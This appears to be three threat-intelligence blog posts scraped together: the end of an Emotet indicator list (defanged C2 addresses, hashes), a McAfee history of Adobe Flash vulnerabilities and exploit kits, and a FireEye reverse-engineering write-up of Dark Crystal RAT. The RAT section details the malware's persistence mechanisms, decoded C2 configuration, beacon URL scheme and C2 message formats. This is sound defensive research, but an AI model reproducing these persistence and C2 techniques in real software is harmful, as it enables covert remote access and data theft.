]66:8080 178[.]128[.]83[.
]165:80 212[.]237[.]5[.
]209:443 82[.]165[.]152[.
]127:8080 50[.]116[.]54[.
]215:443 58[.]227[.]42[.
]236:80 119[.]235[.]255[.
]201:8080 144[.]76[.]186[.
]49:8080 138[.]185[.]72[.
]26:8080 162[.]214[.]50[.
]39:7080 81[.]0[.]236[.
]90:443 176[.]104[.]106[.
]96:8080 144[.]76[.]186[.
]55:7080 129[.]232[.]188[.
]93:443 212[.]24[.]98[.
]99:8080 203[.]114[.]109[.
]124:443 103[.]75[.]201[.
]2:443 173[.]212[.]193[.
]249:8080 41[.]76[.]108[.
]46:8080 45[.]118[.]115[.
]99:8080 158[.]69[.]222[.
]101:443 107[.]182[.]225[.
]142:8080 212[.]237[.]17[.
]99:8080 212[.]237[.]56[.
]116:7080 159[.]8[.]59[.
]82:8080 46[.]55[.]222[.
]11:443 104[.]251[.]214[.
]46:8080 31[.]24[.]158[.
]56:8080 153[.]126[.]203[.
]229:8080 51[.]254[.]140[.
]238:7080 185[.]157[.]82[.
]211:8080 217[.]182[.]143[.
]207:443 45[.]142[.]114[.
]231:8080 Sample SHA-256
Involved in the Campaign:
[Excel files Captured] 25271BB2C848A32229EE7D39162E32F5F74580E43F5E24A93E6057F7D15524F0 C176C2B0336EA70C0D875F5C79D00771D59891560283364A81B2EDE495CDE62F 9C62600A0885E39BD39748150B9B64155C9EA2DBBCDD43241EB24C8E098DE782 36C2119C68B3C79B58417CADEA3547F8BBECD2DF02FEB5F04EE798DFA621B66D B380DFC348541691E4084689405D8ACFAEAFDDD92EFF95566AFF2412F620E2DC 68AA775EC46C8B0911542E471F9A7F39D538001BD8552898416310436F58B95A B14AB6A611A93B25DA2815D2071AA5B76085414BF6AD32432FC0809B3610DB05
81E9D87903290E4A525BEB865F5CCCCA9838BDD51238DC4FD0B9AE623BF609BB B019A867D167B6088EA18B3BD2F1A67706505AACC9542C4017E757F0381B3F0A F4626135C820C4784E1452E81FE25D291EA3A6326E906A2E15AE960EEA3276E4 [puihoud.dll (the downloaded Emotet)] A7C6ABBC3241B6CFCFA27158E80BD50D3C9F1AE97E86481CCABD5B2337670690 Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Read part II of our analysis to learn more about malicious modules involved and how to avoid this lure.
By McAfee Labs on Apr 17, 2018 This post was researched and written by Brook Schoenfield with the assistance of Tim Hux, Abhishek Karnik, Asheer Malhotra, and Steve Povolny McAfee Advanced Threat Research team analysts have studied Adobe Flash Player for years because it is a popular target for attacks.
As always, we advise customers to remain current with McAfee’s latest DAT versions.
In this post we want to provide some insight into the history of Flash exploitation and possible future trends.
Morphisec published an analysis of a new set of Flash flaws, CVE-2018-4878, that have been exploited in the wild.
Hardik Shah of McAfee Labs posted a technical analysis of CVE-2018-4878’s mechanisms on March 2: “The number of Flash Player exploits has recently declined, due to Adobe’s introduction of various measures to strengthen Flash’s security.
Occasionally, however, an exploit still arises.
On January 31, Kr-Cert reported a zero-day vulnerability, identified as CVE-2018-4878, being exploited in the field.
(Adobe has released an update to fix this flaw .
)”
Details about McAfee protections covering CVE-2018-4878 appear at the end of this article.
This post will examine the history of Flash’s issues since the first Common Vulnerabilities and Exposures (CVE) list for Flash was published in 2006.
By examining some of the data, both users and owners of sites that employ Flash can better understand Flash flaws and why Flash will continue to interest attackers, even though Adobe will discontinue development of Flash in 2020.
We examined historical Flash data regarding vulnerabilities.
We also accounted for the current distribution and uses of Flash.
Through this analysis, we believe that despite Adobe announcing Flash’s end of life, a number of sites will continue to use and depend upon Flash for at least the immediate future, even as sites convert to alternative technologies.
(See the list of example sites, below.)
Flash continues to offer attackers an exploitable collection of flaws for the immediate future.
The following chart uses CVE data.
Although not every exploitable and exploited condition receives a CVE entry, most flaws that are discovered through security research or reported against major software vendors’ products eventually gains a CVE number that is posted to the CVE database kept by Mitre.
Therefore, CVE offers a convenient repository of vulnerability data to aid research.
Searching the entire database for every instance of “Flash Player” or “Adobe Flash Player” returned 1,050 CVE entries from the years 2006-2017.
There was a steady increase in reported vulnerabilities between 2006 and 2014.
Then we saw a big jump in 2015 and 2016.
Of the 1,050 issues, about 79% (830) gave attackers some sort of code execution capability, though not every one of those 830 flaws allowed remote code execution.
Still, an attacker gains a significant advantage from running any code.
The McAfee Labs analysis shows that CVE-2018-4878 was another example of remote code execution, which usually leads to full compromise.
This point suggests that Flash vulnerabilities will remain a significant target.
The data source CVE Details offers the following distribution of Flash CVE vulnerabilities: Source: CVE Details .
In 2015 through 2017, 81% of flaws resulted in code execution of one form or another.
CVE Details also assigns Flash issues with Common Vulnerability Scoring System scores .
Many issues from 2015–2017 earned scores above 9, which is considered severe.
2015: 294 vulnerabilities ≥ 9 2016: 224 vulnerabilities ≥ 9 2017: 60 vulnerabilities ≥ 9 These severe scores further highlight why attackers remain interested in exploiting Flash weaknesses; they offer significant “attacker value” for the effort required to exploit them.
Looking at the historical distribution of issues, we see a spike in 2015.
Then the spike drops off.
It was in the latter part of 2014 that Adobe adopted a change in their software security strategy.
“’Finding and fixing bugs isn’t the way to go, it’s … making it harder and more expensive for [attackers] to achieve an outcome,” said Adobe’s Chief Security Officer, Brad Arkin, at a conference in October 2014.
He urged organizations to stop patching every vulnerability and instead increase the cost of exploitation to frustrate attackers.
“The bad guys aren’t stupid,” he added.
“They are going to apply their resources in the [most] cost efficient way possible, and so they seek to minimize the cost of developing an exploit.”
Adobe’s shift in software security strategy has been to make exploiting issues prohibitively expensive so that attackers will find easier, less resource-intensive, and perhaps more reliable methods.
Rather than chase every flaw, Adobe’s approach focuses on building defensive techniques that protect vulnerabilities, just as standard secure development life cycle techniques attempt to prevent new vulnerabilities from being released.
Little in software development happens immediately, especially on a large scale.
There is typically a lag—usually one to two years—between a strategy shift and results.
In any event, the first issues to be eliminated are often the easiest to fix.
As the program’s effectiveness improves, resources are available to address harder problems.
Brad Arkin spoke about a strategy shift in the fall of 2014.
We expected that shift to take time, and that is what we see in the data: In 2016, the number of newly discovered issues began to decline.
However, the steep increase in vulnerabilities in 2015 and 2016 requires some additional examination.
When security researchers focus on a code base, they generally start by finding the easiest-to-discover issues.
As these are found and fixed, researchers probe deeper, shifting to techniques that increase in difficulty.
Due to this ever-increasing difficulty, we often see a decrease in discoveries; it takes more time and effort to uncover tricky issues.
Coupling the increasing difficulty of finding problems against the increase in effectiveness of a software security program, we find a distribution like what we have seen with Flash CVE reporting from 2015 through 2017.
Until 2015, attackers exploited relatively easy-to-find cross-site scripting errors, but these largely disappeared after 2014.
Suddenly, in 2015, there is a huge jump in the discovery of difficult-to-uncover memory issues and code execution opportunities.
The leap in the CVE numbers reflects more technically challenging issues surfacing just as Adobe’s software strategy was making its shift.
The new strategy had not had time to be fully effective by 2015.
Plus, Flash, like all complex software, carries a large amount of legacy code.
Just when researchers were digging deeper and harder into the code base, Adobe’s software security change required not just chasing vulnerability fixes, but also generating protective code and designs—all of which take time to implement.
This typical situation explains the influx of critical new issues in 2015, and their subsequent continuous reductions.
Still, no single or collection of security techniques is perfect.
In 2017, Flash marked 70 new issues.
So far in 2018, three have been discovered.
The most recent, CVE-2018-4878, is technically challenging and appears to be within protections that Adobe has placed within byte arrays to prevent these memory structures from being misused.
“[CVE-2018-4878] bypassed the byte array mitigation feature that was introduced to prevent ‘length corruption’ attacks in Flash,” wrote McAfee’s Hardik Shah in “How Hackers Bypassed an Adobe Flash Protection Mechanism.”
It is just as possible to unwittingly add an exploitation opportunity when implementing software protections as when writing any other code.
Of the 73 vulnerabilities discovered in 2017 and 2018, there is no method, without tracking code changes, to know when each of the flaws was introduced.
It is likely that some of them arose in code carried forward from earlier versions, that is, from legacy code.
Software implementers have a compelling argument to reuse as much code as possible in each new version.
It is cheaper because it saves time.
In a product with a history as long as Flash’s (more than 10 years), some of its code was written for a different threat landscape, not for today’s attackers and their more sophisticated tools and techniques.
It is reasonable to suspect that a significant portion of the last two years’ worth of newly discovered issues are in code that has been carried into the latest versions.
Those flaws contrast with the most recent vulnerability, CVE-2018-4878, which bypasses and abuses protections that were likely put into place after Adobe’s shift in strategy.
The code that CVE-2018-4878 abuses was intended to make exploitation of byte arrays “more expensive.”
To measure the popularity of Flash, we turned to Q-Success’ W3Techs web survey data.
The following table shows the use of four client-side languages, with Flash declining steadily since 2011.
JavaScript, on the other hand, today is nearly ubiquitous, at 95%.
The two leading languages are graphed in the chart that follows the table.
Historical Yearly Trends in the Usage of Client-Side Programming Languages for Websites Usage (in % of sites) of Client-Side Programming Languages for Websites Chart data as of March 8, 2018.
Source for table and chart : © 2009-2018 Q-Success DI Gelbmann GmbH
From W3Techs data, we can see that Flash use has declined steadily, to only 5% of surveyed web sites.
Doesn’t that suggest that Flash exploitation would also decline or even stop?
Unfortunately, it does not.
The following W3Techs chart shows that although the number of sites using Flash is fairly low, enough high-traffic sites employ it to keep Flash popular.
High-Traffic Sites That Still Use Adobe Flash Source: PublicWWW .
If popular websites continue to use Flash, then Flash Player will remain in use on users’ machines for some time.
Adobe has promised to continue supporting Flash Player until the end of 2020.
Unfortunately, this means merely that software updates, features, and patches will no longer be added; it does not effectively change Flash’s overall use.
Only the end of websites requiring Flash will remove its vulnerabilities from the security picture.
A highly targeted attack may need to compromise only a single computer to access an organization’s digital infrastructure and gain access to strategic targets.
That single computer could be running an unpatched or dated version of Flash.
As the use of Flash has declined, client-side JavaScript has become the de facto browser programming language.
Yet JavaScript’s takeover does not fully solve the problem because it can deliver a Flash payload.
Although some of the Flash vulnerabilities we have analyzed can be exploited remotely, many cannot.
An attacker often requires some interaction by the victim to run a Flash exploit.
JavaScript has become an increasingly common delivery mechanism for this purpose.
DIY: Exploits in a Kit Perhaps more important to attackers is the easy availability of Flash exploits ready to use in numerous exploit “kits.”
Kits package all the necessary code to exercise a set of known vulnerabilities.
Access to readily available exploits in a kit means far less attacker effort.
Kits also “lower the technical bar.”
Attackers need not understand how an exploit works; they can simply leverage the packages without knowing the technical details.
Old Flash exploits are still available, along with new ones such as CVE-2018-4878, according to Tim Hux of the McAfee Advanced Threat Research team.
“The Bizarro Sundown (aka GreenFlash) and ThreadKit exploit kits added the exploit to their lists last month,” he said.
“The Rig and Magnitude exploit kits added this flaw to their arsenals this month.”
Adding a new exploit does not mean the old ones are no longer available.
Exploit kits are additive.
The Rig kit, which appeared in 2014, contains the following Flash exploits: CVE-2013-0634
CVE-2015-3113 CVE-2014-0497
CVE-2015-5119 CVE-2014-0515           CVE-2015-5122 CVE-2014-0569           CVE-2015-7645 CVE-2015-0311           CVE-2016-1019 CVE-2015-0359           CVE-2016-4117 CVE-2015-3090 Old exploits do not die, they just get used less often as software is upgraded to fix earlier versions.
If an attacker finds a vulnerable version of Flash in use, kits will have exploits to employ.
Conclusion It is difficult, and perhaps impossible, to prove that software is error free.
(Alan Turing’s famous proof mathematically shows that automated processes cannot be proved correct through automation.)
As famed computer scientist Edsger Dijkstra noted, “Testing shows the presence, not the absence of bugs.”
(“Software Engineering Techniques, ” NATO Science Committee, page 16.)
In other words, even software that has passed a battery of security tests before release may still contain exploitable conditions.
From our analysis of the relationship between Flash CVEs and Flash’s ongoing use, especially on high-traffic sites, McAfee’s Advanced Threat Research team believes that Flash vulnerabilities will continue to offer attackers a means toward malicious ends.
However, Adobe’s shift in security strategy is an excellent step in reducing the number of newly discovered issues, which should maintain their decline.
McAfee protections for CVE-2018-4878 McAfee’s malware engine can parse Flash for malicious content.
Customers who have turned on automatic updates or who update regularly have been protected against seven new variants of CVE-2018-4878 since February 6.
McAfee Host Intrusion Prevention signatures 8001, 1149, 6011, and 6010 detect CVE-2018-4878 exploits.
8001 and 1149:
On by default, but log only, not block.
Customers can select block.
8001:
Suspicious exploit behavior, log only, available in HIPS, not in ENS 1149: CMD tool access by a Windows mail client or Internet Explorer, log only, available in HIPS, not in ENS 6011 and 6010:
Off by default.
Enabling them may result in an increase of false positives.
6011:
Generic application invocation protection, not present in ENS 6010:
Generic application hooking protection, not present in ENS Recent campaigns exploiting Flash Player Issues CVE-2018-4878: Currently being exploited in a massive spam mail campaign.
https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/north-korean-hackers-allegedly-exploit-adobe-flash-player-vulnerability-cve-2018-4878-against-south-korean-targets CVE-2017-11292:
Black Oasis Advanced Persistent Threat https://threatpost.com/adobe-patches-flash-zero-day-exploited-by-black-oasis-apt/128467/ CVE-2016-4117:
Hidden Cobra APT/CryptXXX Ransomware/Erebus APT https://www.proofpoint.com/us/threat-insight/post/cryptxxx-new-ransomware-actors-behind-reveton-dropping-angler
http://securityaffairs.co/wordpress/48415/cyber-crime/scarcruft-apt.html CVE-2016-1019:
Cerber and Locky ransomware/Hidden Cobra
APT https://blog.trendmicro.com/trendlabs-security-intelligence/look-adobe-flash-player-cve-2016-1019-zero-day-vulnerability/
https://www.proofpoint.com/us/threat-insight/post/killing-zero-day-in-the-egg CVE-2015-3133:
CryptoWall Ransomware
https://nakedsecurity.sophos.com/2015/06/29/latest-flash-hole-already-exploited-ransomware/ CVE-2015-0311:
TeslaCrypt and FessLeak Ransomware https://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0311-flash-zero-day-vulnerability/ http://malware.dontneedcoffee.com/2015/01/cve-2015-0311-flash-up-to-1600287.html CVE-2014-8439:
Cerber Ransomware https://www.f-secure.com/weblog/archives/00002768.html CVE-2015-7645:
Cerber and Alpha Crypt Ransomware http://malware.dontneedcoffee.com/2015/10/cve-2015-7645.html
McAfee does not control or audit third-party benchmark data or the websites referenced in this document.
You should visit the referenced website and confirm whether referenced data is accurate.
McAfee and the McAfee logo are trademarks or registered trademarks of McAfee, LLC or its subsidiaries in the US and other countries.
Other marks and brands may be claimed as the property of others.
Copyright © 2018 McAfee, LLC
The FireEye Mandiant Threat Intelligence Team helps protect our customers by tracking cyber attackers and the malware they use.
The FLARE Team helps augment our threat intelligence by reverse engineering malware samples.
Recently, FLARE worked on a new C# variant of Dark Crystal RAT (DCRat) that the threat intel team passed to us.
We reviewed open source intelligence and prior work, performed sandbox testing, and reverse engineered the Dark Crystal RAT to review its capabilities and communication protocol.
Through publishing this blog post we aim to help defenders look for indicators of compromise and other telltale signs of Dark Crystal RAT, and to assist fellow malware researchers new to .NET
malware, or who encounter future variants of this sample.
Discovering Dark Crystal RAT
The threat intel team provided FLARE with an EXE sample, believed to contain Dark Crystal RAT, and having the MD5 hash b478d340a787b85e086cc951d0696cb1.
Using sandbox testing, we found that this sample produced two executables, and in turn, one of those two executables produced three more.
Figure 1 shows the relationships between the malicious executables discovered via sandbox testing.
Figure 1:
The first sample we began analyzing ultimately produced five executables.
Armed with the sandbox results, our next step was to perform a triage analysis on each executable.
We found that the original sample and mnb.exe were droppers, that dal.exe was a clean-up utility to delete the dropped files, and that daaca.exe and fsdffc.exe were variants of Plurox, a family with existing reporting.
Then we moved to analyzing the final dropped sample, which was dfsds.exe.
We found brief public reporting by @ James_inthe_box on the same sample, identifying it as DCRat and as a RAT and credential stealer .
We also found a public sandbox run that included the same sample.
Other public reporting described DCRat, but actually analyzed the daaca.exe Plurox component bundled along with DCRat in the initial sample.
Satisfied that dfsds.exe was a RAT lacking detailed public reporting, we decided to perform a deeper analysis.
Analyzing Dark Crystal RAT Initial Analysis Shifting aside from our sandbox for a moment, we performed static analysis on dfsds.exe.
We chose to begin static analysis using CFF Explorer, a good tool for opening a PE file and breaking down its sections into a form that is easy to view.
Having viewed dfsds.exe in CFF Explorer, as shown in Figure 2, the utility showed us that it is a .NET executable.
This meant we could take a much different path to analyzing it than we would on a native C or C++ sample.
Techniques we might have otherwise used to start narrowing down a native sample’s functionality, such as looking at what DLLs it imports and what functions from those DLLs that it uses, yielded no useful results for this .NET
sample.
As shown in Figure 3, dfsds.exe imports only the function _CorExeMain from mscoree.dll.
We could have opened dfsds.exe in IDA Pro, but IDA Pro is usually not the most effective way of analyzing .NET
samples; in fact, the free version of IDA Pro cannot handle .NET
Common Language Infrastructure (CLI) intermediate code.
Figure 2: CFF Explorer shows that dfsds.exe is a .NET executable.
Figure 3:
The import table for dfsds.exe is not useful as it contains only one function.
Instead of using a disassembler like IDA Pro on dfsds.exe, we used a .NET decompiler.
Luckily for the reverse engineer, decompilers operate at a higher level and often produce a close approximation of the original C# code.
dnSpy is a great .NET decompiler.
dnSpy’s interface displays a hierarchy of the sample’s namespaces and classes in the Assembly Explorer and shows code for the selected class on the right.
Upon opening dfsds.exe, dnSpy told us that the sample’s original name at link time was DCRatBuild.exe, and that its entry point is at <PrivateImplementationDetails>{63E52738-38EE-4EC2-999E-1DC99F74E08C}.Main , shown in Figure 4.
When we browsed to the Main method using the Assembly Explorer, we found C#-like code representing that method in Figure 5.
Wherever dnSpy displays a call to another method in the code, it is possible to click on the target method name to go to it and view its code.
By right-clicking on an identifier in the code, and clicking Analyze in the context menu, we caused dnSpy to look for all occurrences where the identifier is used, similar to using cross-references in IDA Pro.
Figure 4: dnSpy can help us locate the sample's entry point Figure 5: dnSpy decompiles the Main method into C#-like code We went to the SchemaServerManager.
Main method that is called from the entry point method, and observed that it makes many calls to ExporterServerManager.
InstantiateIndexer with different integer arguments, as shown in Figure 6.
We browsed to the ExporterServerManager.
InstantiateIndexer method, and found that it is structured as a giant switch statement with many goto statements and labels; Figure 7 shows an excerpt.
This does not look like typical dnSpy output, as dnSpy often reconstructs a close approximation of the original C# code, albeit with the loss of comments and local variable names.
This code structure, combined with the fact that the code refers to the CipherMode.
CBC constant, led us to believe that ExporterServerManager.
InstantiateIndexer may be a decryption or deobfuscation routine.
Therefore, dfsds.exe is likely obfuscated.
Luckily, .NET developers often use obfuscation tools that are somewhat reversible through automated means.
Figure 6: SchemaServerManager.
Main makes many calls to ExporterServerManager.
InstantiateIndexer Figure 7: ExporterServerManager.
InstantiateIndexer looks like it may be a deobfuscation routine Deobfuscation De4dot is a .NET deobfuscator that knows how to undo many types of obfuscations.
Running de4dot -d (for detect) on dfsds.exe (Figure 8) informed us that .NET
Reactor was used to obfuscate it.
> de4dot -d dfsds.exe de4dot v3.1.41592.3405 Copyright (C) 2011-2015
de4dot@gmail.com
Latest version and source code: https://github.com/0xd4d/de4dot Detected .NET
Reactor (C:\\...\\dfsds.exe) Figure 8: dfsds.exe is obfuscated with .NET
Reactor After confirming that de4dot can deobfuscate dfsds.exe, we ran it again to deobfuscate the sample into the file dfsds_deob.exe (Figure 9).
> de4dot -f dfsds.exe -o dfsds_deob.exe de4dot v3.1.41592.3405
Copyright (C) 2011-2015 de4dot@gmail.com
Latest version and source code: https://github.com/0xd4d/de4dot Detected .NET
Reactor (C:\\Users\\user\\Desktop\\intelfirst\\dfsds.exe) Cleaning C:\\Users\\user\\Desktop\\intelfirst\\dfsds.exe Renaming all obfuscated symbols Saving C:\\Users\\user\\Desktop\\intelfirst\\dfsds_deob.exe Figure 9: de4dot successfully deobfuscates dfsds.exe After deobfuscating dfsds.exe, we ran dnSpy again on the resulting dfsds_deob.exe.
When we decompiled SchemaServerManager.
Main again, the results were much different, as shown in Figure 10.
Contrasting the new output with the obfuscated version shown previously in Figure 6, we found the deobfuscated code much more readable.
In the deobfuscated version, all the calls to ExporterServerManager.
InstantiateIndexer were removed; as suspected, it was apparently a string decoding routine.
In contrast, the class names shown in the Assembly Explorer did not change; the obfuscator must have irrecoverably replaced the original class names with meaningless ones obtained from a standard list.
Next, we noted that ten lines in Figure 10 hold base64-encoded data.
Once the sample was successfully deobfuscated, it was time to move on to extracting its configuration and to follow the sample’s code path to its persistence capabilities and initial beacon.
Figure 10: Deobfuscating dfsds.exe shows that the method begins with some path manipulation and then accesses Base64-encoded data Configuration, Persistence and Initial Beacon Recall that in Figure 10 we found that the method SchemaServerManager.
Main has a local variable containing Base64-encoded data; decoding that data revealed what it contains.
Figure 11 shows the decoded configuration (with C2 endpoint URLs de-fanged): > echo TUhvc3Q6aHR0cDovL2RvbWFsby5vbmxpbmUva3NlemJseGx2b3Uza2NtYnE4bDdoZjNmNGN5NXhnZW
80dWRsYTkxZHVldTNxYTU0LzQ2a3FianZ5a2x1bnAxejU2dHh6a2hlbjdnamNpM2N5eDhnZ2twdHgy
NWk3NG1vNm15cXB4OWtsdnYzL2FrY2lpMjM5bXl6b24weHdqbHhxbm4zYjM0dyxCSG9zdDpodHRwOi 8vZG9tYWxvLm9ubGluZS9rc2V6Ymx4bHZvdTNrY21icThsN2hmM2Y0Y3k1eGdlbzR1ZGxhOTFkdWV1 M3FhNTQvNDZrcWJqdnlrbHVucDF6NTZ0eHpraGVuN2dqY2kzY3l4OGdna3B0eDI1aTc0bW82bXlxcH g5a2x2djMvYWtjaWkyMzlteXpvbjB4d2pseHFubjNiMzR3LE1YOkRDUl9NVVRFWC13TGNzOG8xTlZF
VXRYeEo5bjl5ZixUQUc6VU5ERUY= | base64
-d MHost:hxxp://domalo[.
]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/ 46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjl xqnn3b34w,BHost:hxxp://domalo[.
]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91 dueu3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239 myzon0xwjlxqnn3b34w,MX:DCR_MUTEX-wLcs8o1NVEUtXxJ9n9yf,TAG:UNDEF Figure 11: Decoding the base64 data in SchemaServerManager.
Main reveals a configuration string Figure 11 shows that the data decoded to a configuration string containing four values:
MHost, BHost, MX, and TAG.
We analyzed the code that parses this string and found that MHost and BHost were used as its main and backup command and control (C2) endpoints.
Observe that the MHost and BHost values in Figure 11 are identical, so this sample did not have a backup C2 endpoint.
In dnSpy it is possible to give classes and methods meaningful names just as it is possible to name identifiers in IDA Pro.
For example, the method SchemaServerManager.
StopCustomer picks the name of a random running process.
By right-clicking the StopCustomer identifier and choosing Edit Method, it is possible to change the method name to PickRandomProcessName , as shown in Figure 12.
Figure 12:
Assigning meaningful names to methods makes it easier to keep analyzing the program Continuing to analyze the SchemaServerManager.
Main method revealed that the sample persists across reboots.
The persistence algorithm can be summarized as follows:
The malware picks the name of a random running process, and then copies itself to %APPDATA% and C:\\ .
For example, if svchost.exe is selected, then the malware copies itself to %APPDATA%\\svchost.exe and C:\\svchost.exe .
The malware creates a shortcut %APPDATA%\\dotNET.lnk pointing to the copy of the malware under %APPDATA% .
The malware creates a shortcut named dotNET.lnk in the logged-on user’s Startup folder pointing to %APPDATA%\\dotNET.lnk .
The malware creates a shortcut C:\\Sysdll32.lnk pointing to the copy of the malware under C:\\ .
The malware creates a shortcut named Sysdll32.lnk in the logged-on user’s Startup folder pointing to C:\\Sysdll32.lnk .
The malware creates the registry value HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\scrss pointing to %APPDATA%\\dotNET.lnk .
The malware creates the registry value HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Wininit pointing to C:\\Sysdll32.lnk .
After its persistence steps, the malware checks for multiple instances of the malware:
The malware sleeps for a random interval between 5 and 7 seconds.
The malware takes the MD5 hash of the still-base64-encoded configuration string, and creates the mutex whose name is the hexadecimal representation of that hash.
For this sample, the malware creates the mutex bc2dc004028c4f0303f5e49984983352 .
If this fails because another instance is running, the malware exits.
The malware then beacons, which also allows it to determine whether to use the main host (MHost) or backup host (BHost).
To do so, the malware constructs a beacon URL based on the MHost URL, makes a request to the beacon URL, and then checks to see if the server responds with the HTTP response body “ok.”
If the server does not send this response, then the malware unconditionally uses the BHost; this code is shown in Figure 13.
Note that since this sample has the same MHost and BHost value (from Figure 11), the malware uses the same C2 endpoint regardless of whether the check succeeds or fails.
Figure 13:
The malware makes an HTTP request based on the MHost URL to determine whether to use the MHost or BHost The full algorithm to obtain the beacon URL is as follows:
Obtain the MHost URL, i.e., hxxp://domalo[.
]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54 /46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239my zon0xwjlxqnn3b34w .
Calculate the SHA1 hash of the full MHost URL, i.e., 56743785cf97084d3a49a8bf0956f2c744a4a3e0.
Remove the last path component from the MHost URL, and then append the SHA1 hash from above, and ?
data=active.
The full beacon URL is therefore hxxp://domalo[.
]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54 /46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/56743785cf 97084d3a49a8bf0956f2c744a4a3e0.php?data=active .
After beaconing the malware proceeds to send and receive messages with the configured C2.
Messages and Capabilities After performing static analysis of dfsds.exe to determine how it selects the C2 endpoint and confirming the C2 endpoint URL, we shifted to dynamic analysis in order to collect sample C2 traffic and make it easier to understand the code that generates and accepts C2 messages.
Luckily for our analysis, the malware continues to generate requests to the C2 endpoint even if the server does not send a valid response.
To listen for and intercept requests to the C2 endpoint (domalo[.
]online) without allowing the malware Internet access, we used FLARE’s FakeNet-NG tool .
Figure 14 shows some of the C2 requests that the malware made being captured by FakeNet-NG.
Figure 14: FakeNet-NG can capture the malware's HTTP requests to the C2 endpoint By comparing the messages generated by the malware and captured in FakeNet-NG with the malware’s decompiled code, we determined its message format and types.
Observe that the last HTTP request visible in Figure 14 contains a list of running processes.
By tracing through the decompiled code, we found that the method SchemaServerManager.
ObserverWatcher.
NewMerchant generated this message.
We renamed this method to taskThread and assigned meaningful names to the other methods it calls; the resulting code for this method appears in Figure 15.
Figure 15: The method that generates the list of running processes and sends it to the C2 endpoint By analyzing the code further, we identified the components of the URLs that the malware used to send data to the C2 endpoint, and how they are constructed.
Beacons The first type of URL is a beacon, sent only once when the malware starts up.
For this sample, the beacon URL was always hxxp://domalo[.
]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp1z56txzk hen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/<hash>.php?data=active, where <hash> is the SHA1 hash of the MHost URL, as described earlier.
GET requests, format 1 When the malware needs to send data to or receive data from the C2, it sends a message.
The first type of message, which we denote as “format 1,” is a GET request to URLs of the form hxxp://domalo[.
]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn 3b34w/ <hash> .php?
type=__ds_setdata&__ds_setdata_user= <user_hash> &__ds_setdata_ext= <message_hash> &__ds_setdata_data= <message> , where: <hash> is MD5(SHA1(MHost)) , which for this sample, is 212bad81b4208a2b412dfca05f1d9fa7 .
<user_hash> is a unique identifier for the machine on which the malware is running.
It is always calculated as SHA1(OS_version + machine_name + user_name) as provided by the .NET
System.
Environment class.
<message_hash> identifies what kind of message the malware is sending to the C2 endpoint.
The <message_hash> is calculated as MD5(<message_type> + <user_hash>) , where <message_type> is a short keyword identifying the type of message, and <user_hash> is as calculated above.
Values for <message_type> exist for each command that the malware supports; for possible values, see the “msgs” variable in the code sample shown in Figure 19.
Observe that this makes it difficult to observe the message type visually from log traffic, or to write a static network signature for the message type, since it varies for every machine due to the inclusion of the <user_hash> .
One type of message uses the value u instead of a hash for <message_hash> .
<message> is the message data, which is not obscured in any way.
The other type of ordinary message is a getdata message.
These are GET requests to URLs of the form hxxp://domalo[.
]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn 3b34w/ <hash> .php?
type=__ds_getdata&__ds_getdata_user= <user_hash> &_
_ds_getdata_ext= <message_hash> &__ds_getdata_key= <key> , where: <hash> and <user_hash> are calculated as described above for getdata messages.
<message_hash> is also calculated as described above for getdata messages, but describes the type of message the malware is expecting to receive in the server’s response.
<key> is MD5(<user_hash>) .
The server is expected to respond to a getdata message with an appropriate response for the type of message specified by <message_hash> .
GET requests, format 2 A few types of messages from the malware to the C2 use a different format, which we denote as “format 2.”
These messages are GET requests of the form hxxp://domalo[.
]online /ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp1z56txzkhen7gj ci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn3b34w/ <user_hash> .
<mes sage_hash> , where: <user_hash> is calculated as described above for getdata messages.
<message_hash> is also calculated as described above for getdata messages, but describes the type of message the malware is expecting to receive in the server’s response.
<message_hash> may also be the string comm .
Table 1 shows possible <message_types> that may be incorporated into <message_hash> as part of format 2 messages to instruct the server which type of response is desired.
In contrast to format 1 messages, format 2 messages are only used for a handful of <message_type> values.
<message_type> Response desired s_comm
The server sends a non-empty response if a screenshot request is pending m_comm
The server sends a non-empty response if a microphone request is pending RDK
The server responds directly with keystrokes to replay comm The server responds directly with other types of tasking Table 1: Message types when the malware uses a special message to request tasking from the server POST requests When the malware needs to upload large files, it makes a POST request.
These POST requests are sent to hxxp://domalo[.
]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn 3b34w/<hash>.php , with the following parameters in the POST data: name is <user_hash> + \".\" + <message_type> , where <user_hash> is calculated as described above and <message_type> is the type of data being uploaded.
upload is a file with the data being sent to the server.
Table 2 shows possible <message_type> values along with the type of file being uploaded.
